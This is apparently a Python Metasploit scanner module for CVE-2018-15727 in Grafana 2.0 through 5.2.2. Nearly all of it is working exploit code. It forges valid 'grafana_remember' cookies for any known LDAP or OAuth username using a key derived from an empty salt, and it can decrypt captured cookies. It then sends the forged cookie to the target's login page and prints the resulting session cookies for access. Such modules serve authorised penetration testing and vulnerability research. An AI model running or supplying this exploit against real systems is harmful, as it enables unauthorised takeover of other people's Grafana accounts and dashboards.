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#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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# standard modules
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import binascii
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import hashlib
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import logging
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import os
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import re
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from metasploit import module
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# extra modules
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dependencies_requests_missing = False
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try:
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    import requests
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except ImportError:
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    dependencies_requests_missing = True
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dependencies_cryptography_missing = False
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try:
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    from cryptography.hazmat.primitives.ciphers.aead import AESGCM
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except ImportError:
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    dependencies_cryptography_missing = True
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metadata = {
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    'name': 'Grafana 2.0 through 5.2.2 authentication bypass for LDAP and OAuth',
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    'description': '''
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        This module generates a remember me cookie for a valid username. Through unpropper seeding 
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        while userdate are requested from LDAP or OAuth it's possible to craft a valid remember me cookie. 
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        This cookie can be used for bypass authentication for everyone knowing a valid username.
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    ''',
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    'authors': [
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        'Rene Riedling',
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        'Sebastian Solnica'  # Original Discovered
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    ],
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    'date': '2019-08-14',  # set to date of creation
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    'license': 'MSF_LICENSE',
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    'references': [
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        {'type': 'cve', 'ref': '2018-15727'},
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        {'type': 'url', 'ref': 'https://grafana.com/blog/2018/08/29/grafana-5.2.3-and-4.6.4-released-with-important-security-fix/'}
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    ],
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    'type': 'single_scanner',
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    'options': {
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        'VERSION': {'type': 'enum', 'description': 'Grafana version: "2-4" or "5"', 'required': True, 'default': '5', 'values': ['2-4', '5']},
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        'USERNAME': {'type': 'string', 'description': 'Valid username', 'required': False},
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        'RHOSTS': {'type': 'address', 'description': 'Address of target', 'required': True, 'default': '127.0.0.1'},
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        'RPORT': {'type': 'port', 'description': 'Port of target', 'required': True, 'default': 3000},
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        'COOKIE': {'type': 'string', 'description': 'Decrypt captured cookie', 'required': False},
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        'TARGETURI': {'type': 'string', 'description': 'Base URL of grafana instance', 'required': False, 'default': '/'},
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        'SSL': {'type': 'bool', 'description': 'set SSL/TLS based connection', 'required': True, 'default': False}
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    }
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}
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def encrypt_version5(username):
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    salt = b''
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    iterations = 1000
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    key = hashlib.pbkdf2_hmac('sha256', salt, salt, iterations, 16)
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    aesgcm = AESGCM(key)
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    nonce = os.urandom(12)
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    username = username.encode()
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    ct = aesgcm.encrypt(nonce, username, None)
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    cookie = str(binascii.hexlify(nonce), 'ascii') + \
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        str(binascii.hexlify(ct), 'ascii')
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    return cookie
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def encrypt_version4(username):
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    salt = hashlib.md5(''.encode("utf-8")).hexdigest().encode()
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    iterations = 1000
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    key = hashlib.pbkdf2_hmac('sha256', salt, salt, iterations, 16)
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    aesgcm = AESGCM(key)
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    nonce = os.urandom(12)
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    username = username.encode()
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    ct = aesgcm.encrypt(nonce, username, None)
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    cookie = str(binascii.hexlify(nonce), 'ascii') + \
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        str(binascii.hexlify(ct), 'ascii')
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    return cookie
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def decrypt_version5(cookie):
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    salt = b''
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    iterations = 1000
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    key = hashlib.pbkdf2_hmac('sha256', salt, salt, iterations, 16)
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    aesgcm = AESGCM(key)
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    nonce = binascii.unhexlify(cookie[:24])
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    ct = binascii.unhexlify(cookie[24:])
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    username = str(aesgcm.decrypt(nonce, ct, None), 'ascii')
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    return username
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def decrypt_version4(cookie):
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    salt = hashlib.md5(''.encode("utf-8")).hexdigest().encode()
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    iterations = 1000
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    key = hashlib.pbkdf2_hmac('sha256', salt, salt, iterations, 16)
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    aesgcm = AESGCM(key)
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    nonce = binascii.unhexlify(cookie[:24])
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    ct = binascii.unhexlify(cookie[24:])
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    username = str(aesgcm.decrypt(nonce, ct, None), 'ascii')
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    return username
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def run(args):
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    if dependencies_requests_missing:
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        logging.error('Module dependency (requests) is missing, cannot continue')
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        return
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    if dependencies_cryptography_missing:
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        logging.error('Module dependency (cryptography) is missing, cannot continue')
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        return
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    if args['VERSION'] == "5":
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        try:
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            username = args['USERNAME']
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            cookie = encrypt_version5(args['USERNAME'])
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            module.log("Encrypted remember cookie: "+cookie, "good")
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        except:
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            module.log(
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                "No username set, trying to decrypt it from cookie.", "warning")
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            try:
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                username = decrypt_version5(args['COOKIE'])
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                module.log("Decrypted username: "+username, "good")
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                cookie = args['COOKIE']
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            except:
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                module.log("Unable to set username", "error")
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                return
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    elif args['VERSION'] == "2-4":
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        try:
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            username = args['USERNAME']
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            cookie = encrypt_version4(args['USERNAME'])
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            module.log("Encrypted remember cookie: "+cookie, "good")
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        except:
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            module.log(
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                "No username set, trying to decrypt it from cookie.", "warning")
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            try:
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                username = decrypt_version4(args['COOKIE'])
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                module.log("Decrypted username: "+username, "good")
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                cookie = args['COOKIE']
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            except:
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                module.log("Unable to set username", "error")
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                return
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    else:
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        module.log("Version not supported.", "error")
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    try:
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        cookies = {'grafana_remember': cookie, 'grafana_user': username}
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        if args['SSL'] == "false":
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            if args['TARGETURI'].endswith('/'):
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                url = "http://" + args['RHOSTS'] + ":" + \
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                    args['RPORT'] + args['TARGETURI'] + "login/"
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            else:
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                url = "http://" + args['RHOSTS'] + ":" + \
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                    args['RPORT'] + args['TARGETURI'] + "/login/"
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        elif args['SSL'] == "true":
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            if args['TARGETURI'].endswith('/'):
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                url = "https://" + args['RHOSTS'] + ":" + \
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                    args['RPORT'] + args['TARGETURI'] + "login/"
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            else:
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                url = "https://" + args['RHOSTS'] + ":" + \
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                    args['RPORT'] + args['TARGETURI'] + "/login/"
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        module.log('Targeting URL: ' + url, 'debug')
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        r = requests.get(url=url, cookies=cookies, allow_redirects=False)
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    except:
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        module.log("Failed to sending request to host.", "error")
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        return
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    if r.status_code == 302:
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        try:
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            grafana_user = re.search(
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                r"grafana_user=.*?;", r.headers['Set-Cookie']).group(0)
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            grafana_remember = re.search(
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                r"grafana_remember=.*?;", r.headers['Set-Cookie']).group(0)
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            grafana_sess = re.search(
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                r"grafana_sess=.*?;", r.headers['Set-Cookie']).group(0)
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            module.log(
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                "Set following cookies to get access to the grafana instance.", "good")
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            module.log(grafana_user, "good")
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            module.log(grafana_remember, "good")
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            module.log(grafana_sess, "good")
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        except:
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            module.log("Failed to generate cookies out of request.", "error")
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            return
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    else:
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        module.log("Target is not vulnerable.", "warning")
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        return
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if __name__ == '__main__':
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    module.run(metadata, run)
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